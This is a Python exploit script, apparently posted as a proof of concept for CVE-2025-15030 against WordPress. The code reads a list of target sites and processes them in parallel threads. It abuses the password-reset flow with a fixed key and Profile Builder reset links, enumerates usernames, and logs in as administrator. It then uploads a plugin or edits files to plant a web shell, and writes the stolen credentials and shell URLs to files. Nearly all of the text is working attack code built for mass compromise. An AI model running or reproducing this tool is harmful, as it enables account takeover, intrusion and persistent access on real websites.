5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-15030.py PY
#!/usr/bin/env python3
#By: Nxploited
# -*- coding: utf-8 -*-

import os
import re
import sys
import time
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional, List, Set, Tuple
from urllib.parse import urlparse, urlparse as parse_url, parse_qs

import requests
import urllib3
from rich.console import Console
from rich.panel import Panel
from rich.theme import Theme
from colorama import init as colorama_init  # type: ignore

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
colorama_init(autoreset=True)

# ------------------------ Rich console ------------------------

theme = Theme(
    {
        "info": "cyan",
        "ok": "bold green",
        "warn": "bold yellow",
        "err": "bold red",
        "host": "bold magenta",
        "label": "bold white",
        "dim": "dim",
    }
)
console = Console(theme=theme)

# ------------------------ Banner -------------------------

BANNER_ASCII = r"""
 ____  _     _____      ____  ____  ____  ____        _  ____  ____ _____  ____ 
/   _\/ \ |\/  __/     /_   \/  _ \/_   \/ ___\      / \/ ___\/  _ \\__  \/  _ \
|  /  | | //|  \ _____  /   /| / \| /   /|    \_____ | ||    \| / \|  /  || / \|
|  \__| \// |  /_\____\/   /_| \_/|/   /_\___ |\____\| |\___ || \_/| _\  || \_/|
\____/\__/  \____\     \____/\____/\____/\____/      \_/\____/\____//____/\____/
"""

def print_banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")
    banner_panel = Panel.fit(
        BANNER_ASCII.strip("\n"),
        title="[ok]WP Reset & Strict Access Assistant[/ok]",
        subtitle="High-signal • Silent • Precise",
        border_style="magenta",
        padding=(1, 2),
    )
    console.print(banner_panel)
    console.print(
        Panel(
            "[label]By: [bold]Nxploited[/bold]  |  GitHub: "
            "[link=https://github.com/Nxploited]github.com/Nxploited[/link]  |  "
            "Telegram: [bold blue]@KNxploited[/bold blue][/label]",
            border_style="cyan",
        )
    )
    console.print()

def format_site_status(
    base: str,
    key_status_core: str,
    reset_status_core: str,
    access_core: str,
    key_status_pb: str,
    reset_status_pb: str,
    access_pb: str,
    shell_status: str,
) -> None:
    login_url = base.rstrip("/") + "/wp-login.php"
    line = (
        f"[host]{base}[/host]  "
        f"[label]CORE:[/label] KEY={key_status_core:<4}, RESET={reset_status_core:<4}, ACCESS={access_core:<3} | "
        f"[label]PB:[/label] KEY={key_status_pb:<4}, RESET={reset_status_pb:<4}, ACCESS={access_pb:<3} | "
        f"[label]SHELL:[/label] {shell_status:<8} | "
        f"[label]LOGIN:[/label] {login_url}"
    )
    if shell_status == "OK":
        style = "ok"
    elif access_core != "0" or access_pb != "0":
        style = "ok"
    elif key_status_core == "FAIL" and key_status_pb == "FAIL":
        style = "err"
    else:
        style = "warn"
    console.print(line, style=style)

def log_note(msg: str) -> None:
    console.print(f"[*] {msg}", style="info")

def log_warn(msg: str) -> None:
    console.print(f"[!] {msg}", style="warn")

def log_err(msg: str) -> None:
    console.print(f"[x] {msg}", style="err")

def log_done(msg: str) -> None:
    console.print(f"[+] {msg}", style="ok")

# --------------------------------------------------------
# Helpers: URLs / Sessions / User-Agent
# --------------------------------------------------------

USER_AGENTS = [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0',
]

def get_random_user_agent() -> str:
    return random.choice(USER_AGENTS)

def split_wp_base(url: str) -> Tuple[str, str]:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    parsed = urlparse(url)
    base_host = f"{parsed.scheme}://{parsed.netloc}"
    path = parsed.path or "/"
    if path == "/":
        return base_host, ""
    return base_host, path.rstrip("/")

def build_wp_url(base_host: str, wp_base: str, path: str) -> str:
    if not path.startswith("/"):
        path = "/" + path
    full = (wp_base + path).replace("//", "/")
    return base_host + full

def build_session(timeout: int) -> requests.Session:
    s = requests.Session()
    s.verify = False
    s.headers.update({
        "User-Agent": get_random_user_agent(),
        "Accept": (
            "text/html,application/xhtml+xml,application/xml;q=0.9,"
            "image/avif,image/webp,image/apng,*/*;q=0.8"
        ),
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
    })
    adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50, max_retries=1)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    return s

def get_wp_base_path(login_path: str) -> str:
    if login_path == "/wp-login.php":
        return ""
    return login_path.replace("/wp-login.php", "")

# --------------------------------------------------------
# Username enumeration (كما في نسختك السابقة)
# --------------------------------------------------------

AUTHOR_PATTERN = re.compile(r"/author/([^/]+)")
AUTHOR_BODY_PATTERNS = [
    re.compile(r'author-\w+">([a-z0-9_\-]+)<', re.I),
    re.compile(r"/author/([a-z0-9_\-]+)/", re.I),
    re.compile(r'"slug":"([a-z0-9_\-]+)"', re.I),
    re.compile(r'"username":"([a-z0-9_\-]+)"', re.I),
]

def enum_by_author(sess: requests.Session, root_url: str, timeout: int, max_i: int = 10) -> Set[str]:
    users: Set[str] = set()
    for i in range(1, max_i + 1):
        try:
            u = f"{root_url}/?author={i}"
            r = sess.get(u, timeout=timeout, allow_redirects=False)
            if r.status_code in (301, 302):
                loc = r.headers.get("location", "") or r.headers.get("Location", "")
                m = AUTHOR_PATTERN.search(loc)
                if m:
                    users.add(m.group(1))
            r2 = sess.get(u, timeout=timeout, allow_redirects=True)
            if r2.status_code == 200 and r2.text:
                body = r2.text
                for patt in AUTHOR_BODY_PATTERNS:
                    for x in patt.findall(body):
                        users.add(x)
        except Exception:
            continue
    return users

def enum_by_rest(sess: requests.Session, root_url: str, timeout: int) -> Set[str]:
    users: Set[str] = set()
    api = root_url.rstrip("/") + "/wp-json/wp/v2/users"
    try:
        r = sess.get(api, timeout=timeout)
    except Exception:
        return users
    if r.status_code != 200:
        return users
    try:
        data = r.json()
    except Exception:
        return users
    if isinstance(data, list):
        for entry in data:
            if isinstance(entry, dict):
                for key in ("slug", "username", "name"):
                    v = entry.get(key)
                    if v:
                        users.add(str(v))
    return users

def collect_candidates(base_host: str, wp_base: str, timeout: int) -> List[str]:
    sess = build_session(timeout)
    root = build_wp_url(base_host, wp_base, "/")

    users: Set[str] = set()
    users.update(enum_by_author(sess, root, timeout, max_i=10))
    users.update(enum_by_rest(sess, root, timeout))

    parsed = urlparse(root)
    host = parsed.netloc.split(":")[0].lower()
    if host.startswith("www."):
        host = host[4:]
    first_label = host.split(".")[0]
    if first_label and len(first_label) > 2:
        users.add(first_label)

    users.add("admin")
    users = {u for u in users if u and 2 < len(u) < 50}

    if not users:
        users = {"admin"}

    return sorted(users)

# --------------------------------------------------------
# Strict admin access verification + login
# --------------------------------------------------------

def check_admin_access(sess: requests.Session, root_url: str, timeout: int) -> bool:
    admin_paths = [
        "/wp-admin/index.php",
        "/wp-admin/profile.php",
        "/wp-admin/edit.php",
        "/wp-admin/plugins.php",
        "/wp-admin/users.php",
    ]
    markers = [
        'id="adminmenu"', 'id="wpadminbar"', '<div id="wpwrap">',
        'class="wp-admin', 'id="wpcontent"', 'id="wpbody-content"',
        "users.php", "plugins.php", "edit.php",
    ]
    deny = [
        "sorry, you are not allowed to access this page",
        "you do not have sufficient permissions",
        "insufficient permissions",
    ]

    ok_pages = 0

    for ep in admin_paths:
        u = root_url.rstrip("/") + ep
        try:
            r = sess.get(u, timeout=timeout, allow_redirects=True)
        except Exception:
            continue
        if r.status_code != 200:
            continue
        if "wp-login.php" in (r.url or ""):
            return False
        content = r.text or ""
        low = content.lower()
        if any(d in low for d in deny):
            return False
        found = sum(1 for m in markers if m in content)
        if found >= 3:
            ok_pages += 1
        if ok_pages >= 2:
            return True

    try:
        r2 = sess.get(root_url.rstrip("/") + "/wp-admin/plugin-install.php",
                      timeout=timeout, allow_redirects=True)
        if r2.status_code == 200:
            low2 = (r2.text or "").lower()
            if any(d in low2 for d in deny):
                return False
            if "upload-plugin" in low2 or "plugin-install-tab" in low2:
                return True
    except Exception:
        pass

    return ok_pages >= 1

def strict_login_attempt(
    sess: requests.Session,
    base_host: str,
    wp_base: str,
    login_path: str,
    username: str,
    password: str,
    timeout: int,
) -> bool:
    root_site = build_wp_url(base_host, wp_base, "/")
    login_url = build_wp_url(base_host, wp_base, login_path)

    try:
        sess.get(login_url, timeout=timeout, allow_redirects=True)
    except Exception:
        pass

    data = {
        "log": username.strip(),
        "pwd": password,
        "wp-submit": "Log In",
        "testcookie": "1",
    }
    headers = {
        "User-Agent": sess.headers.get("User-Agent", ""),
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": login_url,
    }

    try:
        r = sess.post(
            login_url,
            data=data,
            headers=headers,
            timeout=timeout,
            allow_redirects=True,
        )
    except Exception:
        return False

    content = (r.text or "").lower()
    fails = [
        "incorrect username or password",
        "invalid username",
        "invalid password",
        "error: the username",
        "is not registered",
        "authentication failed",
        "login failed",
        "unknown username",
    ]
    if any(x in content for x in fails):
        return False

    has_cookie = any(c.name.startswith("wordpress_logged_in") for c in sess.cookies)
    if not has_cookie:
        return False

    if not check_admin_access(sess, root_site, timeout):
        return False

    return True

def find_wp_login_path(sess: requests.Session, base_host: str, wp_base: str, timeout: int) -> str:
    paths = [
        "/wp-login.php",
        "/wordpress/wp-login.php",
        "/wp/wp-login.php",
        "/blog/wp-login.php",
        "/cms/wp-login.php",
        "/wp/login.php",
    ]
    for p in paths:
        url = build_wp_url(base_host, wp_base, p)
        try:
            r = sess.get(url, timeout=timeout, allow_redirects=True)
        except Exception:
            continue
        txt = r.text or ""
        if r.status_code == 200 and "<form" in txt and "password" in txt.lower():
            return p
    return "/wp-login.php"

# --------------------------------------------------------
# Nxploited.zip upload + Nx.php verification (من Big.py)
# --------------------------------------------------------

def load_nxploited_zip() -> Optional[bytes]:
    try:
        script_dir = os.path.dirname(os.path.abspath(__file__))
        zip_path = os.path.join(script_dir, "Nxploited.zip")
        if not os.path.exists(zip_path):
            log_warn("Nxploited.zip not found in script directory, skipping shell upload.")
            return None
        with open(zip_path, "rb") as f:
            return f.read()
    except Exception as e:
        log_err(f"Error loading Nxploited.zip: {e}")
        return None

def build_shell_url(base_url: str, wp_base_path: str) -> str:
    base = base_url.rstrip("/")
    path = wp_base_path.rstrip("/") if wp_base_path else ""
    if path:
        return f"{base}{path}/wp-content/plugins/Nxploited/Nx.php"
    return f"{base}/wp-content/plugins/Nxploited/Nx.php"

def write_shell_path(shells_output: str, url: str, username: str, password: str, shell_url: str):
    ts = time.strftime("%Y-%m-%d %H:%M:%S")
    with open(shells_output, "a", encoding="utf-8") as f:
        f.write(f"[{ts}] {url} - {username}:{password} - SHELL: {shell_url}\n")

def upload_nxploited_plugin_sync(
    session: requests.Session,
    base_url: str,
    login_path: str,
    username: str,
    password: str,
    timeout: int,
    shells_output: str,
) -> bool:
    """
    بعد تحقق تسجيل الدخول كأدمن:
    - يحاول رفع Nxploited.zip كبلوجن.
    - أو إنشاء Nxploited/Nx.php عبر المحرر.
    - يتحقق من أن Nx.php يعمل، ثم يسجّل في shells.txt.
    """
    plugin_zip_data = load_nxploited_zip()
    if not plugin_zip_data:
        return False

    wp_base_path = get_wp_base_path(login_path)
    login_url = f"{base_url}{login_path}"

    try:
        # تأكد من الجلسة
        headers = {'User-Agent': get_random_user_agent()}
        session.get(login_url, timeout=timeout, verify=False, headers=headers)

        login_data = {
            'log': username.strip(),
            'pwd': password,
            'wp-submit': 'Log In',
            'testcookie': '1'
        }
        headers = {
            'User-Agent': get_random_user_agent(),
            'Cookie': 'wordpress_test_cookie=WP Cookie check',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Referer': login_url
        }
        session.post(
            login_url,
            data=login_data,
            headers=headers,
            timeout=timeout,
            verify=False,
            allow_redirects=True,
        )

        # طريقة 1: رفع من plugin-install
        upload_url = f"{base_url}{wp_base_path}/wp-admin/plugin-install.php?tab=upload"
        try:
            upload_page = session.get(upload_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()})
            if upload_page.status_code == 200:
                nonce_match = re.search(r'name="_wpnonce"\s+value="([^"]+)"', upload_page.text)
                if nonce_match:
                    nonce = nonce_match.group(1)
                    files = {
                        'pluginzip': ('Nxploited.zip', plugin_zip_data, 'application/zip')
                    }
                    form_data = {
                        '_wpnonce': nonce,
                        '_wp_http_referer': f'{wp_base_path}/wp-admin/plugin-install.php?tab=upload',
                        'install-plugin-submit': 'Install Now'
                    }
                    upload_endpoint = f"{base_url}{wp_base_path}/wp-admin/update.php?action=upload-plugin"
                    upload_response = session.post(
                        upload_endpoint,
                        data=form_data,
                        files=files,
                        timeout=timeout,
                        verify=False,
                        allow_redirects=True,
                    )
                    if upload_response.status_code == 200 and ('Plugin installed successfully' in upload_response.text or 'successfully' in upload_response.text.lower()):
                        shell_url = build_shell_url(base_url, wp_base_path)
                        test_r = session.get(shell_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()})
                        if test_r.status_code == 200:
                            log_done(f"SHELL DEPLOYED (Upload): {shell_url}")
                            write_shell_path(shells_output, base_url, username, password, shell_url)
                            return True
        except Exception:
            pass

        # طريقة 2: REST API upload (إن وجدت)
        try:
            rest_upload_url = f"{base_url}{wp_base_path}/wp-json/wp/v2/plugins"
            headers_rest = {
                'User-Agent': get_random_user_agent(),
                'Content-Type': 'application/zip',
                'Content-Disposition': 'attachment; filename=\"Nxploited.zip\"'
            }
            rest_resp = session.post(
                rest_upload_url,
                data=plugin_zip_data,
                headers=headers_rest,
                timeout=timeout,
                verify=False,
            )
            if rest_resp.status_code in (200, 201):
                shell_url = build_shell_url(base_url, wp_base_path)
                test_r = session.get(shell_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()})
                if test_r.status_code == 200:
                    log_done(f"SHELL DEPLOYED (REST): {shell_url}")
                    write_shell_path(shells_output, base_url, username, password, shell_url)
                    return True
        except Exception:
            pass

        # طريقة 3: plugin/theme editor لكتابة Nxploited/Nx.php
        shell_php_code = """<?php
if (!defined('ABSPATH')) exit;
echo "Nxploited";
?>"""
        file_manager_urls = [
            f"{base_url}{wp_base_path}/wp-admin/plugin-editor.php",
            f"{base_url}{wp_base_path}/wp-admin/theme-editor.php"
        ]
        for fm_url in file_manager_urls:
            try:
                fm_resp = session.get(fm_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()})
                if fm_resp.status_code == 200 and 'wp-login.php' not in fm_resp.url:
                    fm_text = fm_resp.text
                    nonce_match = re.search(r'name="_wpnonce"\s+value="([^"]+)"', fm_text)
                    if nonce_match:
                        nonce = nonce_match.group(1)
                        create_data = {
                            '_wpnonce': nonce,
                            'action': 'edit-theme-plugin-file',
                            'file': '../plugins/Nxploited/Nx.php',
                            'newcontent': shell_php_code,
                            'docs-list': '',
                            'submit': 'Update File'
                        }
                        c_resp = session.post(
                            fm_url,
                            data=create_data,
                            timeout=timeout,
                            verify=False,
                            allow_redirects=True,
                        )
                        if c_resp.status_code == 200:
                            shell_url = build_shell_url(base_url, wp_base_path)
                            test_r = session.get(shell_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()})
                            if test_r.status_code == 200:
                                log_done(f"SHELL DEPLOYED (Editor): {shell_url}")
                                write_shell_path(shells_output, base_url, username, password, shell_url)
                                return True
            except Exception:
                continue

    except Exception as e:
        log_err(f"Error in Nxploited upload: {e}")

    return False

# --------------------------------------------------------
# CORE: brute_with_single_password + reset flow
# --------------------------------------------------------

def brute_with_single_password(
    base_host: str,
    wp_base: str,
    usernames: List[str],
    password: str,
    timeout: int,
    output_file: str,
    shells_output: str,
) -> Tuple[int, bool]:
    hits = 0
    shell_ok = False

    sess0 = build_session(timeout)
    login_path = find_wp_login_path(sess0, base_host, wp_base, timeout)

    site_url = f"{base_host}{wp_base or ''}"
    login_url = site_url.rstrip("/") + "/wp-login.php"

    for username in usernames:
        sess_user = build_session(timeout)
        if strict_login_attempt(sess_user, base_host, wp_base, login_path, username, password, timeout):
            ts = time.strftime("%Y-%m-%dT%H:%M:%S")
            line = (
                f"[{ts}] {site_url} | {login_url} | "
                f"account={username}  pass={password}\n"
            )
            os.makedirs(os.path.dirname(output_file), exist_ok=True)
            with open(output_file, "a", encoding="utf-8") as f:
                f.write(line)
            hits += 1

            # هنا استغلال دخول أدمن → ارفع Nxploited.zip
            if not shell_ok:
                ok = upload_nxploited_plugin_sync(
                    sess_user,
                    base_host,
                    login_path,
                    username,
                    password,
                    timeout,
                    shells_output,
                )
                if ok:
                    shell_ok = True

    return hits, shell_ok

def trigger_wp_reset_flow_core(
    sess: requests.Session,
    base_host: str,
    wp_base: str,
    username: str,
    new_password: str,
    timeout: int,
) -> bool:
    root = build_wp_url(base_host, wp_base, "/")
    lost_url = root.rstrip("/") + "/wp-login.php?action=lostpassword"
    malicious_key = "hackedresetkey"

    data1 = {
        "user_login": username,
        "user_pass": malicious_key,
        "wp-submit": "Get New Password",
    }
    try:
        r1 = sess.post(
            lost_url,
            data=data1,
            timeout=timeout,
            allow_redirects=True,
            verify=False,
        )
    except Exception:
        return False

    if r1.status_code not in (200, 302):
        return False

    rp_url = root.rstrip("/") + f"/wp-login.php?action=rp&key={malicious_key}&login={username}"
    try:
        r2 = sess.get(rp_url, timeout=timeout, allow_redirects=True, verify=False)
    except Exception:
        return False

    if r2.status_code not in (200, 302):
        return False

    reset_url = root.rstrip("/") + "/wp-login.php?action=resetpass"
    data3 = {
        "pass1": new_password,
        "pass2": new_password,
        "pw_weak": "on",
        "rp_key": malicious_key,
        "wp-submit": "Save Password",
    }
    try:
        r3 = sess.post(
            reset_url,
            data=data3,
            timeout=timeout,
            allow_redirects=True,
            verify=False,
        )
    except Exception:
        return False

    if r3.status_code != 200:
        return False

    return True

# --------------------------------------------------------
# Profile Builder reset-from-link + strict login + upload
# --------------------------------------------------------

def parse_pb_reset_link(url: str) -> Optional[Tuple[str, str, str]]:
    try:
        parsed = parse_url(url)
        qs = parse_qs(parsed.query)
        key = qs.get("key", [None])[0]
        login = qs.get("login", [None])[0]
        base_url = f"{parsed.scheme}://{parsed.netloc}"
        if not key or not login:
            return None
        return base_url, key, login
    except Exception:
        return None

def fetch_pb_recover_form2(
    sess: requests.Session,
    reset_url: str,
    timeout: int,
) -> Optional[str]:
    try:
        r = sess.get(reset_url, timeout=timeout, allow_redirects=True, verify=False)
    except Exception:
        return None
    if r.status_code != 200:
        return None
    return r.text or ""

def extract_pb_nonce_and_user(
    body: str,
) -> Tuple[Optional[str], Optional[str]]:
    nonce = None
    user_data = None
    m = re.search(
        r'name="password_recovery_nonce_field2"\s+value="([^"]+)"',
        body,
        re.I,
    )
    if m:
        nonce = m.group(1)
    m2 = re.search(
        r'name="userData"\s+value="([^"]+)"',
        body,
        re.I,
    )
    if m2:
        user_data = m2.group(1)
    return nonce, user_data

def trigger_pb_reset_from_link(
    sess: requests.Session,
    reset_url: str,
    new_password: str,
    timeout: int,
) -> Tuple[bool, Optional[str]]:
    body = fetch_pb_recover_form2(sess, reset_url, timeout)
    if not body:
        return False, None

    nonce2, user_data = extract_pb_nonce_and_user(body)
    if not nonce2 or not user_data:
        return False, None

    parsed = parse_url(reset_url)
    qs = parse_qs(parsed.query)
    key = qs.get("key", [None])[0]
    login = qs.get("login", [None])[0]
    if not key or not login:
        return False, None

    post_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
    data = {
        "action2": "recover_password2",
        "password_recovery_nonce_field2": nonce2,
        "userData": user_data,
        "key": key,
        "login": login,
        "passw1": new_password,
        "passw2": new_password,
    }

    try:
        r = sess.post(
            post_url,
            data=data,
            timeout=timeout,
            allow_redirects=True,
            verify=False,
        )
    except Exception:
        return False, None

    low = (r.text or "").lower()
    if "your password has been successfully changed" in low:
        return True, login

    if "invalid key" in low:
        return False, login

    return False, login

def strict_login_single(
    base_url: str,
    wp_base: str,
    username: str,
    password: str,
    timeout: int,
) -> Tuple[bool, requests.Session, str]:
    sess0 = build_session(timeout)
    login_path = find_wp_login_path(sess0, base_url, wp_base, timeout)
    sess_user = build_session(timeout)
    ok = strict_login_attempt(sess_user, base_url, wp_base, login_path, username, password, timeout)
    return ok, sess_user, login_path

def load_pb_links_file(pb_links_file: str) -> List[str]:
    links: List[str] = []
    if not os.path.exists(pb_links_file):
        return links
    with open(pb_links_file, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if line:
                links.append(line)
    return links

def process_pb_links_for_site(
    base_host: str,
    wp_base: str,
    pb_links: List[str],
    new_pass: str,
    timeout: int,
    shells_output: str,
) -> Tuple[str, str, str, bool]:
    key_pb = "----"
    reset_pb = "----"
    access_pb = "0"
    shell_ok = False
    hits = 0

    host = urlparse(base_host).netloc
    site_links = [u for u in pb_links if urlparse(u).netloc == host]

    if not site_links:
        return key_pb, reset_pb, access_pb, shell_ok

    for reset_url in site_links:
        sess = build_session(timeout)
        ok_reset, login_user = trigger_pb_reset_from_link(
            sess, reset_url, new_pass, timeout
        )
        if not ok_reset or not login_user:
            continue

        ok_login, sess_user, login_path = strict_login_single(
            base_host, wp_base, login_user, new_pass, timeout
        )
        if ok_login:
            hits += 1
            if not shell_ok:
                ok_shell = upload_nxploited_plugin_sync(
                    sess_user,
                    base_host,
                    login_path,
                    login_user,
                    new_pass,
                    timeout,
                    shells_output,
                )
                if ok_shell:
                    shell_ok = True

    if hits > 0:
        key_pb = "OK"
        reset_pb = "OK"
        access_pb = str(hits)
    else:
        key_pb = "FAIL"
        reset_pb = "FAIL"
        access_pb = "0"

    return key_pb, reset_pb, access_pb, shell_ok

# --------------------------------------------------------
# Orchestration per target
# --------------------------------------------------------

def process_target(
    site: str,
    new_pass: str,
    timeout: int,
    output_core: str,
    pb_links: List[str],
    shells_output: str,
) -> None:
    base_host, wp_base = split_wp_base(site)
    label = f"{base_host}{wp_base or ''}"

    key_core = "----"
    reset_core = "----"
    access_core = "0"
    key_pb = "----"
    reset_pb = "----"
    access_pb = "0"
    shell_ok_core = False
    shell_ok_pb = False

    sess = build_session(timeout)

    # CORE
    reset_user_core = "admin"
    ok_flow_core = trigger_wp_reset_flow_core(
        sess, base_host, wp_base, reset_user_core, new_pass, timeout
    )
    if ok_flow_core:
        key_core = "OK"
        reset_core = "OK"
        users = collect_candidates(base_host, wp_base, timeout)
        hits_core, shell_ok_core = brute_with_single_password(
            base_host,
            wp_base,
            users,
            new_pass,
            timeout,
            output_core,
            shells_output,
        )
        access_core = str(hits_core)
    else:
        key_core = "FAIL"
        reset_core = "FAIL"
        access_core = "0"

    # PB
    if pb_links:
        key_pb, reset_pb, access_pb, shell_ok_pb = process_pb_links_for_site(
            base_host,
            wp_base,
            pb_links,
            new_pass,
            timeout,
            shells_output,
        )

    shell_status = "OK" if (shell_ok_core or shell_ok_pb) else "--"

    format_site_status(
        label,
        key_core,
        reset_core,
        access_core,
        key_pb,
        reset_pb,
        access_pb,
        shell_status,
    )

# --------------------------------------------------------
# Interactive runner
# --------------------------------------------------------

def ask(prompt: str, default: Optional[str] = None) -> str:
    if default is not None:
        s = input(f"{prompt} [{default}]: ").strip()
        return s if s else default
    return input(f"{prompt}: ").strip()

def ask_int(prompt: str, default: int) -> int:
    s = ask(prompt, str(default))
    try:
        return int(s)
    except Exception:
        return default

def run_interactive() -> None:
    print_banner()

    url_list_file = ask("Targets list file (one URL per line)")
    if not os.path.exists(url_list_file):
        log_err(f"Targets file not found: {url_list_file}")
        sys.exit(1)

    threads = ask_int("Threads (concurrent sites)", 5)

    new_pass = "Nxploited_adminSA"
    log_note(f"Using reset/login password: {new_pass}")

    timeout = ask_int("HTTP timeout (seconds)", 10)

    output_core = ask(
        "Output file for core wp-login reset successes",
        "scan_results/wp_login_reset_success.txt",
    )
    shells_output = ask(
        "Output file for Nxploited shells",
        "scan_results/shells.txt",
    )

    pb_links_file = ask(
        "Profile Builder reset links file (optional, one URL per line)",
        "pb_reset_links.txt",
    ).strip()
    pb_links: List[str] = []
    if os.path.exists(pb_links_file):
        pb_links = load_pb_links_file(pb_links_file)
        log_note(f"Loaded {len(pb_links)} PB reset links from {pb_links_file}")
    else:
        log_warn(f"PB reset links file not found: {pb_links_file} (PB exploit will be limited)")

    targets: List[str] = []
    with open(url_list_file, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if line:
                targets.append(line)

    if not targets:
        log_err("Targets file is empty.")
        sys.exit(1)

    log_note(f"Loaded {len(targets)} targets.")
    log_note("Exploitation: core wp-login reset + optional Profile Builder reset-from-link, both with strict admin login & Nxploited shell upload.")
    console.print()

    os.makedirs(os.path.dirname(output_core), exist_ok=True)
    os.makedirs(os.path.dirname(shells_output), exist_ok=True)

    start = time.time()
    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {
            executor.submit(
                process_target,
                site,
                new_pass,
                timeout,
                output_core,
                pb_links,
                shells_output,
            ): site
            for site in targets
        }

        try:
            for future in as_completed(futures):
                _ = futures[future]
        except KeyboardInterrupt:
            log_warn("Interrupted by user, shutting down threads...")
            executor.shutdown(wait=False, cancel_futures=True)
            sys.exit(1)

    elapsed = time.time() - start
    console.print()
    log_done(f"Finished in {elapsed:.2f}s")
    log_done(f"Core wp-login results written to: {output_core}")
    log_done(f"Shell paths written to: {shells_output}")

if __name__ == "__main__":
    run_interactive()